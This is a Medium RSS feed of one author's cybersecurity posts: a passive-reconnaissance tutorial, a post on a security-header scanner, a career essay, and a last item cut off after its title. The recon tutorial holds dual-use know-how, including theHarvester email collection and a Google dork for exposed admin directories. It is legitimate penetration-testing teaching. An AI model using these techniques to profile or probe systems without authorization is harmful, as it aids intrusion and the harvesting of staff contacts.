<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hammad Khan | SOC &amp; Pentesting on Medium]]></title>
        <description><![CDATA[Stories by Hammad Khan | SOC &amp; Pentesting on Medium]]></description>
        <link>https://medium.com/@hammad.k.sec?source=rss-b79eb923ba11------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Hq4wN0Bad92cngK6eFUkzQ.png</url>
            <title>Stories by Hammad Khan | SOC &amp;amp; Pentesting on Medium</title>
            <link>https://medium.com/@hammad.k.sec?source=rss-b79eb923ba11------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 12:49:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hammad.k.sec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Advanced Passive Reconnaissance: Tools, Commands & Real-World Workflow]]></title>
            <link>https://medium.com/@hammad.k.sec/advanced-passive-reconnaissance-tools-commands-real-world-workflow-161a9c8ed80a?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/161a9c8ed80a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 23:13:39 GMT</pubDate>
            <atom:updated>2026-08-30T19:32:36.717Z</atom:updated>
            <content:encoded><![CDATA[<p>Master passive recon with real commands and professional techniques</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_LIVENzuOH8JzJbEUu1qg.jpeg" /></figure><h3>Introduction</h3><p>Passive reconnaissance is one of the most valuable skills in professional penetration testing. It allows you to gather high-value intelligence about a target without directly interacting with their systems. This reduces detection risk and builds a strong foundation before any active testing begins.</p><p>In this article, we will walk through essential passive reconnaissance tools using real command outputs and explain what each result actually means.</p><h3>1. DNS Reconnaissance</h3><h4>Basic DNS Lookup</h4><p>Bash</p><pre>dig h4cker.org</pre><p><strong>Output Analysis:</strong><br> The result shows four A records:</p><ul><li>185.199.110.153</li><li>185.199.111.153</li><li>185.199.108.153</li><li>185.199.109.153</li></ul><p>This indicates the domain is likely behind a CDN (in this case, GitHub Pages / Fastly-style infrastructure). Multiple IPs are common when load balancing or CDN services are used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZAZwnEmCToiVrxj0kAKYA.png" /><figcaption>Basic DNS lookup showing A records</figcaption></figure><h4>MX Records</h4><pre>dig h4cker.org mx</pre><p><strong>Output Analysis:</strong><br> The domain uses Mailgun for email handling:</p><ul><li>mxa.mailgun.org</li><li>mxb.mailgun.org</li></ul><p>Both have the same priority (10). This tells us the organization is using a third-party email delivery service rather than hosting its own mail servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*wqV6zIymcjblJaCNPqB55g.png" /><figcaption>MX records revealing mail server infrastructure</figcaption></figure><h4>Full DNS Enumeration</h4><p>Bash</p><pre>dnsrecon -d h4cker.org</pre><p><strong>Output Analysis:</strong><br> This provides a much deeper view:</p><ul><li><strong>DNSSEC</strong> is configured</li><li><strong>Name Servers</strong> are hosted on Google Domains (ns-cloud-c1 to c4)</li><li><strong>MX records</strong> confirm Mailgun</li><li><strong>A records</strong> match the earlier dig results</li></ul><p>This single command gives a strong overview of the domain’s infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CgM19nkWTflNBwdYK5maew.png" /><figcaption>Full DNS enumeration with SOA, NS, MX, and A records</figcaption></figure><h3>2. Whois Lookup</h3><pre>whois cisco.com</pre><p><strong>Output Analysis:</strong><br> Key details extracted:</p><ul><li><strong>Registrar:</strong> MarkMonitor Inc.</li><li><strong>Creation Date:</strong> 1987–05–14 (very old domain)</li><li><strong>Expiry Date:</strong> 2027–05–15</li><li><strong>Organization:</strong> Cisco Technology Inc.</li><li><strong>Name Servers:</strong> ns1.cisco.com, ns2.cisco.com, ns3.cisco.com + Akamai</li><li><strong>Important Email:</strong> infosec@cisco.com</li></ul><pre>(kali㉿kali)-[~]<br>└─$ whois cisco.com<br>   Domain Name: CISCO.COM<br>   Registry Domain ID: 4987030_DOMAIN_COM-VRSN<br>   Registrar WHOIS Server: whois.markmonitor.com<br>   Registrar URL: http://www.markmonitor.com<br>   Updated Date: 2026-04-13T09:54:02Z<br>   Creation Date: 1987-05-14T04:00:00Z<br>   Registry Expiry Date: 2027-05-15T04:00:00Z<br>   Registrar: MarkMonitor Inc.<br>   Registrar IANA ID: 292<br>   Registrar Abuse Contact Email: abusecomplaints@markmonitor.com<br>   Registrar Abuse Contact Phone: +1.2086851750<br>   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited<br>   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited<br>   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited<br>   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited<br>   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited<br>   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited<br>   Name Server: A28-64.AKAM.NET<br>   Name Server: A3-64.AKAM.NET<br>   Name Server: NS1.CISCO.COM<br>   Name Server: NS2.CISCO.COM<br>   Name Server: NS3.CISCO.COM<br>   DNSSEC: unsigned<br>   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/<br>&gt;&gt;&gt; Last update of whois database: 2026-08-29T21:59:58Z &lt;&lt;&lt;<br><br>For more information on Whois status codes, please visit https://icann.org/epp<br><br>NOTICE: The expiration date displayed in this record is the date the<br>registrar&#39;s sponsorship of the domain name registration in the registry is<br>currently set to expire. This date does not necessarily reflect the expiration<br>date of the domain name registrant&#39;s agreement with the sponsoring<br>registrar.  Users may consult the sponsoring registrar&#39;s Whois database to<br>view the registrar&#39;s reported date of expiration for this registration.<br><br>TERMS OF USE: You are not authorized to access or query our Whois<br>database through the use of electronic processes that are high-volume and<br>automated except as reasonably necessary to register domain names or<br>modify existing registrations; the Data in VeriSign Global Registry<br>Services&#39; (&quot;VeriSign&quot;) Whois database is provided by VeriSign for<br>information purposes only, and to assist persons in obtaining information<br>about or related to a domain name registration record. VeriSign does not<br>guarantee its accuracy. By submitting a Whois query, you agree to abide<br>by the following terms of use: You agree that you may use this Data only<br>for lawful purposes and that under no circumstances will you use this Data<br>to: (1) allow, enable, or otherwise support the transmission of mass<br>unsolicited, commercial advertising or solicitations via e-mail, telephone,<br>or facsimile; or (2) enable high volume, automated, electronic processes<br>that apply to VeriSign (or its computer systems). The compilation,<br>repackaging, dissemination or other use of this Data is expressly<br>prohibited without the prior written consent of VeriSign. You agree not to<br>use electronic processes that are automated and high-volume to access or<br>query the Whois database except as reasonably necessary to register<br>domain names or modify existing registrations. VeriSign reserves the right<br>to restrict your access to the Whois database in its sole discretion to ensure<br>operational stability.  VeriSign may restrict or terminate your access to the<br>Whois database for failure to abide by these terms of use. VeriSign<br>reserves the right to modify these terms at any time.<br><br>The Registry database contains ONLY .COM, .NET, .EDU domains and<br>Registrars.<br>Domain Name: cisco.com<br>Registry Domain ID: 4987030_DOMAIN_COM-VRSN<br>Registrar WHOIS Server: whois.markmonitor.com<br>Registrar URL: http://www.markmonitor.com<br>Updated Date: 2026-04-13T09:54:02+0000<br>Creation Date: 1987-05-14T04:00:00+0000<br>Registrar Registration Expiration Date: 2027-05-15T00:00:00+0000<br>Registrar: MarkMonitor, Inc.<br>Registrar IANA ID: 292<br>Registrar Abuse Contact: https://corp.markmonitor.com/domain/ui/abuse-report<br>Registrar Abuse Contact Phone: +1.2086851750<br>Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)<br>Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)<br>Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)<br>Domain Status: serverUpdateProhibited (https://www.icann.org/epp#serverUpdateProhibited)<br>Domain Status: serverTransferProhibited (https://www.icann.org/epp#serverTransferProhibited)<br>Domain Status: serverDeleteProhibited (https://www.icann.org/epp#serverDeleteProhibited)<br>Registrant Name: Domain Administrator<br>Registrant Organization:  Cisco Technology Inc.<br>Registrant Street: 170 W. Tasman Dr.<br>Registrant City: San Jose<br>Registrant State/Province: CA<br>Registrant Postal Code: 95134<br>Registrant Country: US<br>Registrant Phone: +1.4085273842<br>Registrant Phone Ext: <br>Registrant Fax: +1.4085264575<br>Registrant Fax Ext: <br>Registrant Email: infosec@cisco.com<br>Tech Name: Domain Administrator<br>Tech Phone: +1.4085273842<br>Tech Email: infosec@cisco.com<br>Name Server: ns2.cisco.com<br>Name Server: a3-64.akam.net<br>Name Server: ns1.cisco.com<br>Name Server: ns3.cisco.com<br>Name Server: a28-64.akam.net<br>DNSSEC: unsigned<br>URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/<br>&gt;&gt;&gt; Last update of WHOIS database: 2026-08-29T22:00:22+0000 &lt;&lt;&lt;</pre><p>This is extremely useful for understanding ownership, age of the domain, and potential contact points.</p><h4>Filtered Email View</h4><p>Bash</p><pre>whois cisco.com | grep -i email</pre><p><strong>Output Analysis:</strong><br> This quickly highlights the important contact:</p><ul><li>infosec@cisco.com</li><li>Registrar abuse contact from MarkMonitor</li></ul><p>Filtering helps you focus only on actionable contact information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*iXVRWpAgMM2x6-uMLHW7XA.png" /><figcaption>Filtered Whois results displaying contact emails</figcaption></figure><h3>3. Email &amp; Subdomain Discovery</h3><p>Bash</p><pre>theHarvester -d example.com -b all</pre><p><strong>Output Analysis:</strong><br> The tool discovered:</p><ul><li><strong>27 email addresses</strong></li><li><strong>Large number of hosts/subdomains</strong> (including wildcard and numbered subdomains)</li></ul><p>Even though example.com is a reserved domain, this demonstrates how powerful theHarvester is when used against real targets. In real engagements, this often reveals employee emails and forgotten subdomains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*BtAjXfELnjX0hWsPCllasw.png" /><figcaption>Emails and subdomains discovered using theHarvester</figcaption></figure><h3>4. Google Dorking</h3><p><strong>Query used:</strong></p><p>text</p><pre>inurl:admin intitle:&quot;index of&quot;</pre><p><strong>Output Analysis:</strong><br> The results show publicly accessible directory listings, including:</p><ul><li>/admin/uploads</li><li>/admin/</li><li>/wp-includes/</li><li>/wp-admin/user</li></ul><p>These kinds of exposed directories can reveal sensitive files, backups, or misconfigured servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YoS241mIpDahkaT3_1YZQ.png" /><figcaption>Google dork results for exposed admin directories</figcaption></figure><h3>5. Shodan</h3><p><strong>Search used:</strong></p><p>text</p><pre>product:nginx</pre><p><strong>Output Analysis:</strong><br> Shodan returned over <strong>50 million</strong> results related to nginx. The interface shows:</p><ul><li>Top countries (United States, China, Hong Kong, etc.)</li><li>Top ports (80, 443, 5000)</li><li>Live service banners</li></ul><p>This demonstrates how much internet-facing infrastructure can be discovered passively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FgPDvKTKIyZ2WO8G5qXIGw.png" /><figcaption>Shodan search results for nginx services</figcaption></figure><h3>6. Wayback Machine</h3><p><strong>Target used:</strong> tesla.com</p><p><strong>Output Analysis:</strong><br> The domain has been archived <strong>over 43,000 times</strong> since 2002. The calendar view shows heavy historical activity, which is useful for:</p><ul><li>Finding old endpoints</li><li>Identifying previous technologies</li><li>Discovering removed pages</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*WWZxt2g09V3773PS6nrFiQ.png" /><figcaption>Historical website data from the Wayback Machine</figcaption></figure><h3>7. File Metadata Analysis</h3><p>Bash</p><pre>exiftool Hyperfire.jpg</pre><p><strong>Output Analysis:</strong><br> The metadata reveals:</p><ul><li>Camera firmware and model details</li><li>Image resolution (2048 x 1536)</li><li>Timestamps</li><li>Serial number and technical camera settings</li></ul><p>In real engagements, public images and documents can leak internal information through metadata.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*jtWcwSwlIaDnGen-jiHHOg.png" /><figcaption>File metadata extracted using exiftool</figcaption></figure><h3>8. Professional Workflow</h3><p>A practical order for passive reconnaissance:</p><ol><li>DNS + Whois</li><li>theHarvester</li><li>Google Dorking</li><li>Shodan</li><li>Wayback Machine</li><li>Metadata analysis</li></ol><p>Always document findings clearly before moving into active testing.</p><h3>Conclusion</h3><p>Passive reconnaissance is not just about running tools. It is about understanding what the output actually means and turning raw data into actionable intelligence.</p><p>The better you become at interpreting DNS, Whois, OSINT, and metadata results, the stronger your entire penetration testing process becomes.</p><p><strong>GitHub:</strong> <a href="https://github.com/HK101-cyber">https://github.com/HK101-cyber</a><br> <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/hammad-khan-sec">https://www.linkedin.com/in/hammad-khan-sec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=161a9c8ed80a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTPHeaderHunter: A Modern Python Tool to Audit Security Headers at Scale]]></title>
            <link>https://medium.com/@hammad.k.sec/from-monolith-to-modular-building-a-production-grade-http-security-auditor-in-python-6080a3582547?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/6080a3582547</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[web-pentesting]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 19:36:58 GMT</pubDate>
            <atom:updated>2026-08-29T21:23:31.970Z</atom:updated>
            <content:encoded><![CDATA[<p>An async, pip-installable security header scanner with YAML rules, HTML reports, and safe-by-default design built for AppSec and bug bounty work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CI3z4oQRFim10SeKCZoVxw.jpeg" /></figure><p>Manually checking security headers across dozens of targets is slow and error-prone. <br>That’s why I built <strong>HTTPHeaderHunter</strong> a modern, async, pip-installable Python tool that audits HTTP response headers at scale.</p><p>It comes with a YAML-based rule engine, concurrent scanning, safe defaults, and professional HTML reports. <br>Whether you’re doing web application testing, bug bounty, or AppSec reviews, this tool is designed to save time and catch real misconfigurations.</p><p>⭐ GitHub: <a href="https://github.com/HK101-cyber/headerhunter">https://github.com/HK101-cyber/headerhunter</a></p><p>In the world of Application Security, HTTP response headers are the first <br>line of defense against a wide range of client-side attacks. Headers like Content-Security-Policy, Strict-Transport-Security, and X-Frame-Options are critical for mitigating Cross-Site Scripting (XSS), clickjacking, MIME-sniffing, and data injection.</p><p>However, manually checking these headers across dozens or hundreds of subdomains during a penetration test or bug bounty engagement is tedious and error-prone. I wanted a tool that was lightweight, highly customizable, and built with modern Python engineering best practices.</p><p><strong>That tool is HTTPHeaderHunter.</strong></p><p>Recently, I took the project through a complete refactor moving it from a monolithic, single-file script to a fully modular, pip-installable Python package (v1.1.0). In this article, I’ll walk you through how it works, the architecture behind it, and a live demo of it catching real misconfiguration.</p><h3>The Problem with Monolithic Scripts</h3><p>When you first start writing security tools, it’s tempting to put everything into one massive script. But as the tool grows, you quickly run into walls:</p><p><strong>State management</strong>: Managing async loops, HTTP clients, and configuration in global variables leads to subtle bugs.<br><strong>Testing:</strong> It is nearly impossible to write unit tests for a script that immediately makes live internet requests upon execution.<br><strong>Distribution:</strong> Asking users to clone a repo and run “python3 script.py” is not a professional user experience.<br><strong>Safety:</strong> Hardcoded insecure defaults (like disabled TLS verification) can silently put analysts at risk.</p><p><strong>The v1.1.0 Architecture</strong></p><p>To solve these problems, I restructured HTTPHeaderHunter into a standard src/ layout managed by pyproject.toml, making it a real, installable Python package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*O-Nftkl0mWlkbZPvtCGFuw.png" /><figcaption>Repo Structure of headerhunter</figcaption></figure><p>The core logic is now split into distinct, single-responsibility modules:</p><p>- cli.py Handles argument parsing, validation, and exit codes.<br>- config.py Centralizes scan configuration (threads, timeouts, TLS, user-agent).<br>- inputs.py Loads and strictly validates URLs, URL files, and SubSnatch JSON.<br>- rules.py Loads and validates the YAML rule engine (severities, check types, regex).<br>- analyzer.py A pure-function rule engine that evaluates headers against rules.<br>- scanner.py Manages the shared httpx.AsyncClient and concurrency limits.<br>- reports/html.py Generates the final report with strict HTML escaping.</p><p><strong>Async Scanning with HTTPX</strong></p><p>One of the biggest performance bottlenecks in Python security tooling is synchronous I/O. If you scan 50 URLs and each takes 2 seconds to time out, a synchronous script takes 100 seconds.</p><p>HTTPHeaderHunter uses httpx.AsyncClient paired with asyncio.Semaphore to handle concurrent requests safely. By reusing a single AsyncClient for the entire scan, we benefit from connection pooling and keep-alive connections, drastically reducing total scan time while respecting configurable concurrency limits.</p><p>async with httpx.AsyncClient(<br> http2=True,<br> verify=True,<br> follow_redirects=False,<br> timeout=15.0,<br> limits=limits,<br>) as client:<br> tasks = [asyncio.create_task(process(i, url)) for i, url in enumerate(urls)]<br> await asyncio.gather(*tasks)</p><p>Crucially, one failed target never crashes the batch. Connection timeouts, read timeouts, TLS errors, and unexpected exceptions are caught per-target and recorded as an error result, while the rest of the scan continues. Result ordering is always preserved to match the input list.</p><h3>Safe by Default</h3><p>Security tools should not introduce security risks of their own. Three design decisions enforce this:</p><p>1. <strong>TLS Verification ON by default</strong>. If a target has an expired or invalid certificate, the tool records a connection error rather than silently downgrading to an insecure connection. An explicit — insecure flag exists only for authorized lab environments with self-signed certificates.</p><p>2. <strong>XSS prevention in reports.</strong> The HTML report generator escapes every untrusted value URLs, header names, header values, and error messages using Python’s html.escape() before injecting them into the DOM. A malicious header value can never execute script in your report.</p><p>3.<strong> Strict input validation.</strong> Only http:// and https:// URLs with valid hostnames are accepted. Invalid entries in URL files are rejected with line numbers, and SubSnatch JSON is validated entry-by-entry.</p><h3>A Context-Aware Rule Engine</h3><p>A missing header is not automatically a critical vulnerability. HTTPHeaderHunter uses a YAML-based rule engine with context-aware severities and value checks, so findings stay accurate and defensive.</p><p><strong>For example,</strong> it doesn’t just check whether Strict-Transport-Security exists. It extracts the max-age value with a validated regular expression and flags a MEDIUM finding if it is shorter than one year (31536000 seconds), or a HIGH finding if max-age is set to 0.</p><p>value_checks:<br> name: Strict-Transport-Security<br> pattern: ‘max-age\s*=\s*(\d+)’<br> min_value: 31536000<br> severity: MEDIUM<br> description: HSTS max-age is shorter than recommended (1 year).<br> recommendation: Increase max-age to at least 31536000.</p><p>The default ruleset evaluates 11 critical headers, including Content-Security-Policy (with unsafe-inline / unsafe-eval / http:// detection), X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and the Cross-Origin isolation headers (COOP, CORP, COEP), plus information-disclosure headers like Server and X-Powered-By.</p><p>Live Walkthrough: From Zero to Report in 60 Seconds</p><p>Theory is nice let’s watch the tool actually work.</p><p>First, start the bundled local test server. It intentionally leaks weak headers (X-Powered-By, a 1-day HSTS max-age, and a CSP containing unsafe-inline) so you can validate the full pipeline without touching the internet:</p><p>python tools/test_server.py</p><p>Then, in a second terminal, run the audit:</p><p>headerhunter -u <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a> -o local-report.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*2H5XgzjKwB2wjUsRV0eUOA.png" /></figure><p>Open the generated report and you immediately see the engine working: the X-Powered-By disclosure flagged as LOW, the HSTS max-age=86400 flagged as MEDIUM because it falls below the one-year minimum, and the CSP unsafe-inline directive caught by the pattern matcher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkk_Zh6xuKRKxFjqGKNkXA.png" /></figure><p>And when you’re ready for an authorized real-world target, it’s one command:</p><p>headerhunter -u <a href="https://example.com/">https://</a><a href="https://example.com/">securityheaders.com</a>— follow-redirects -o example-report.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_yHsI_1OsObHQpTDqws7jA.png" /></figure><h3>100% Testable Code</h3><p>Because the logic is decoupled from the CLI and the network layer, I built a comprehensive pytest suite. Using unittest.mock, the tests simulate HTTPX responses, connection failures, and result ordering — without ever making a real network request.</p><p>python -m pytest -q<br># ……………. [100%]<br># 16 passed in 0.4s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*3omPcbOgvsl1lViTs94TtA.png" /></figure><p>This guarantees that future contributions and rule updates won’t silently break the analyzer, the rule validator, or the report generator.</p><h3>Getting Started</h3><p>Installation is clean and modern thanks to pyproject.toml packaging:</p><p>git clone <a href="https://github.com/HK101-cyber/headerhunter.git">https://github.com/HK101-cyber/headerhunter.git</a><br>cd headerhunter<br>python3 -m venv .venv<br>source .venv/bin/activate<br>pip install -e “.[test]”</p><p>Run your first scan:</p><p>headerhunter -u <a href="https://example.com/">https://securityheaders.com</a> — follow-redirects -o report.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*8EsO3A0LHtc_54PP4xnnnw.png" /></figure><p><strong>Scan a list of targets:</strong></p><p>headerhunter -f urls.txt -t 10 -o batch-report.html</p><p><strong>Generate and customize your own rules:</strong></p><p>headerhunter — generate-rules &gt; custom_rules.yaml<br>headerhunter -u <a href="https://example.com/">https://example.com</a> — rules custom_rules.yaml -o custom.html</p><h3>Conclusion</h3><p>Building security tools is one of the best ways to deepen your understanding of both offensive techniques and defensive engineering. By treating our Python scripts like production software adding packaging, type hints, async I/O, strict validation, and unit tests we create tools that are not just functional, but reliable, safe, and maintainable.</p><p><strong>HTTPHeaderHunter</strong> is open source and actively maintained. If you use it in your next assessment, audit, or bug bounty hunt, I’d love your feedback, stars, and contributions.</p><p>GitHub: <a href="https://github.com/HK101-cyber/headerhunter">https://github.com/HK101-cyber/headerhunter</a></p><p>Remember: only scan systems you own or have explicit written permission to test. Happy hunting, and stay ethical.</p><p>Connect on LinkedIn: <a href="https://www.linkedin.com/in/hammad-khan-sec">https://www.linkedin.com/in/hammad-khan-sec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6080a3582547" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Most Valuable Cybersecurity Skill Isn’t Hacking It’s Troubleshooting]]></title>
            <link>https://medium.com/@hammad.k.sec/the-most-valuable-cybersecurity-skill-isnt-hacking-it-s-troubleshooting-6e6a67851147?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e6a67851147</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[career-development]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Sun, 26 Jul 2026 21:41:34 GMT</pubDate>
            <atom:updated>2026-07-26T21:41:34.988Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Every cybersecurity professional eventually encounters the same question:</em></p><p><strong>“Why isn’t this working?”</strong></p><p>The answer to that question often teaches more than any course or certification ever could.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPYdNCpSk7M9cpP891aCqw.jpeg" /></figure><h3>Introduction</h3><p>Ask someone what the most important skill in cybersecurity is, and you’ll probably hear answers like penetration testing, malware analysis, scripting, threat hunting, or cloud security.</p><p>All of these are valuable skills, and each plays an important role in the industry.</p><p>However, after spending countless hours building home labs, deploying SIEM platforms, troubleshooting Linux servers, and investigating why things refused to work, I came to a different conclusion.</p><p>The most valuable cybersecurity skill isn’t mastering a specific tool.</p><p>It’s learning how to troubleshoot.</p><p>Technology changes. Tools evolve. New attack techniques appear every year.</p><p>The ability to investigate problems, understand systems, and find solutions remains valuable throughout your entire career.</p><h3>Every Cybersecurity Professional Faces Problems</h3><p>Whether you’re a SOC Analyst, Penetration Tester, Security Engineer, Detection Engineer, or System Administrator, you’ll eventually encounter situations where nothing works as expected.</p><p>A Linux service refuses to start.</p><p>Logs never reach your SIEM.</p><p>A detection rule doesn’t trigger.</p><p>A web application behaves differently than expected.</p><p>A vulnerability scanner produces confusing results.</p><p>These aren’t signs that you’re failing.</p><p>They’re part of the job.</p><p>The real question isn’t whether you’ll encounter problems.</p><p>The question is:</p><p><strong>Can you investigate them calmly and solve them?</strong></p><p>That’s the skill employers value.</p><h3>Understanding Is Better Than Memorisation</h3><p>Many beginners spend months memorising commands.</p><p>While commands are important, understanding <strong>why</strong> they work is far more valuable.</p><p>When you understand the operating system, the network, and the application you’re working with, troubleshooting becomes a logical process instead of guessing.</p><p>That mindset changes everything.</p><p>Instead of copying commands from tutorials, you begin asking questions:</p><ul><li>Why did this fail?</li><li>Which service is responsible?</li><li>What do the logs tell me?</li><li>What changed?</li><li>How can I verify my assumption?</li></ul><p>Those questions transform knowledge into experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4pr48ThmzPFgxmmVSF_Xw.png" /></figure><h3>My Turning Point</h3><p>When I first entered cybersecurity, my focus was on learning offensive security.</p><p>Like many beginners, I completed courses, practised labs, and explored penetration testing concepts.</p><p>As my journey progressed, I realised something important.</p><p>Knowing how to use a tool wasn’t enough.</p><p>I needed to understand how systems actually worked.</p><p>That led me to start building.</p><p>I deployed Linux servers.</p><p>Configured an ELK Stack SIEM.</p><p>Created isolated virtual environments.</p><p>Simulated attacks.</p><p>Collected logs.</p><p>Built dashboards.</p><p>Wrote detection rules.</p><p>More importantly, I broke things.</p><p>A lot.</p><p>And every time something broke, I learned something new.</p><h3>Troubleshooting Builds Experience</h3><p>Some of the most valuable lessons I’ve learned didn’t come from successful installations.</p><p>They came from problems.</p><p>A service refusing to start.</p><p>Incorrect file permissions.</p><p>Misconfigured network settings.</p><p>Logs failing to appear inside Elasticsearch.</p><p>Each issue forced me to investigate.</p><p>Read documentation.</p><p>Review logs.</p><p>Test assumptions.</p><p>Verify solutions.</p><p>Those experiences taught me far more than simply following a tutorial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mrk9y1jF4txGmBPCzArXvQ.jpeg" /><figcaption><em>Every problem solved becomes experience you’ll carry into the next challenge.</em></figcaption></figure><h3>Why Practical Experience Matters</h3><p>Cybersecurity isn’t a profession where theory alone is enough.</p><p>Reading documentation is important.</p><p>Watching courses is important.</p><p>Earning certifications is valuable.</p><p>But practical experience is what connects everything together.</p><p>Building a home lab teaches lessons that can’t always be replicated in a classroom.</p><p>It develops patience.</p><p>Critical thinking.</p><p>Problem-solving.</p><p>Confidence.</p><p>Every challenge you overcome becomes part of your professional experience.</p><h3>Advice for Beginners</h3><p>If you’re just starting your cybersecurity journey, my advice is simple:</p><ul><li>Build your own lab.</li><li>Don’t be afraid to make mistakes.</li><li>Read logs before searching for answers.</li><li>Learn why a solution works instead of copying commands.</li><li>Document everything you build.</li><li>Keep improving one project at a time.</li></ul><p>Progress doesn’t come from avoiding problems.</p><p>It comes from solving them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4WTOajrUeSRUQKYneB-z8w.png" /></figure><h3>Final Thoughts</h3><p>Cybersecurity is one of the few professions where you’ll continue learning every single day.</p><p>There will always be another technology.</p><p>Another framework.</p><p>Another attack technique.</p><p>Another tool.</p><p>The professionals who continue growing aren’t necessarily the ones with the most certificates.</p><p>They’re the ones who remain curious.</p><p>Who investigate problems instead of avoiding them.</p><p>Who build instead of only consuming content.</p><p>Who understand systems instead of memorising commands.</p><p>In the end, tools will change.</p><p>Your ability to troubleshoot, think critically, and solve problems will remain one of the most valuable skills you can develop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1B3h7ePJo5zzqoHvG5U76A.png" /></figure><h3>👋 Let’s Connect</h3><p>If you’re passionate about <strong>SOC Operations</strong>, <strong>SIEM Engineering</strong>, <strong>Detection Engineering</strong>, <strong>Penetration Testing</strong>, or simply building practical cybersecurity skills, I’d love to connect and exchange ideas.</p><p>I’m also currently writing the <strong>SOC Engineer’s Field Manual</strong>, a practical series focused on hands-on cybersecurity learning through real-world labs and projects.</p><p><strong>What technical problem has taught you the most in your cybersecurity journey?</strong></p><p>Share your experience in the comments I’d love to hear your story.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e6a67851147" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a Splunk SIEM Lab and Got 100% Detection on Every Real Attack I Threw At It]]></title>
            <link>https://systemweakness.com/i-built-a-splunk-siem-lab-and-got-100-detection-on-every-real-attack-i-threw-at-it-c0b9fa3919d3?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0b9fa3919d3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[information-security]]></category>
